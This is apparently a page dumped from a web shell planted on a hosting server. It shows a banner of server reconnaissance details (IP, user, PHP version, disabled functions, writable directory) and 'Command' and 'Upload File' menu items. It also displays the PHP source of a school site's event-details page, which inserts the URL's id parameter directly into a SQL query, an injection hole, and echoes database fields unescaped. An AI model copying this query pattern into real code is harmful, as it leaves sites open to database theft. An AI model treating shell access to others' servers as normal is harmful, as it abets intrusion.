|
Server IP : 2a02:4780:3:2287:0:3736:a38e:8 / Your IP : 216.73.217.135 Web Server : LiteSpeed System : Linux sg-nme-web2187.main-hosting.eu 5.14.0-611.54.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Wed May 6 18:03:03 EDT 2026 x86_64 User : u926327694 ( 926327694) PHP Version : 7.4.33 Disable Function : system, shell_exec, passthru, mysql_list_dbs, ini_alter, dl, symlink, link, chgrp, leak, popen, apache_child_terminate, virtual, mb_send_mail MySQL : OFF | cURL : ON | WGET : ON | Perl : OFF | Python : OFF Directory (0777) : /home/u926327694/domains/svschool.in/../smvpuc.org/public_html/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<?php
if(isset($_GET['id']))
{
$id = $_GET['id'];
include('header.php');
$news_letter_class = "newsletter-area-2";
?>
<section class="page-banner">
<div class="page-banner-bg bg_cover" style="background-image: url(assets/images/page-banner.jpg);">
<div class="container">
<div class="banner-content text-center">
<h2 class="title">Event Details</h2>
</div>
</div>
</div>
</section>
<?php
$sel_event = mysqli_query($con,"select * from events where is_active=1 and id=$id");
while($res_event = mysqli_fetch_array($sel_event))
{
?>
<section class="event-details mb-50">
<div class="container">
<div class="row">
<div class="col-lg-12">
<div class="event-details-content mt-50">
<img src="adminweb/<?php echo $res_event['event_photo']; ?>" alt="">
<h2 class="title"><?php echo $res_event['event_name']; ?></h2>
<b><?php echo Date('d M Y',strtotime($res_event['event_date'])); ?></b>
<p><?php echo $res_event['event_description']; ?></p>
</div>
</div>
</div>
</div>
</section>
<?php
}
?>
<?php include('footer.php'); ?>
<?php
}
else
{
echo"<script>window.location='events.php';</script>";
}
?>